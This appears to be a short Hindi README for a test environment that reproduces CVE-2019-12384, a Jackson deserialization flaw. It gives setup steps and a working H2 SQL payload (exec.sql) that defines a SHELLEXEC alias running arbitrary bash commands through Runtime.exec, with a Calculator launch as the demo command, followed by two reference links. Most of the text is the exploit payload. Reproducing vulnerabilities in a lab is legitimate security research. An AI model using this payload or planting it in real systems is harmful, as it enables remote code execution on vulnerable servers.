
CVE-2019-12384 भेद्यता परीक्षण वातावरण
प्रोजेक्ट को IDEA में आयात करें, Maven कॉन्फ़िगर करने के बाद स्वचालित निर्भरता आयात सेट करें, फिर स्थानीय वेब निर्देशिका में निम्नलिखित फ़ाइल लिखें और इसे exec.sql के रूप में सहेजें। और एक HTTP सर्वर प्रारंभ करें:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"/bin/bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\0A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')
कृपया कोड के संबंधित भागों को संशोधित करें ताकि विभिन्न ऑपरेटिंग सिस्टम वातावरणों के अनुकूल हो सके।
कैलकुलेटर पॉप अप होता देखा जा सकता है।
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html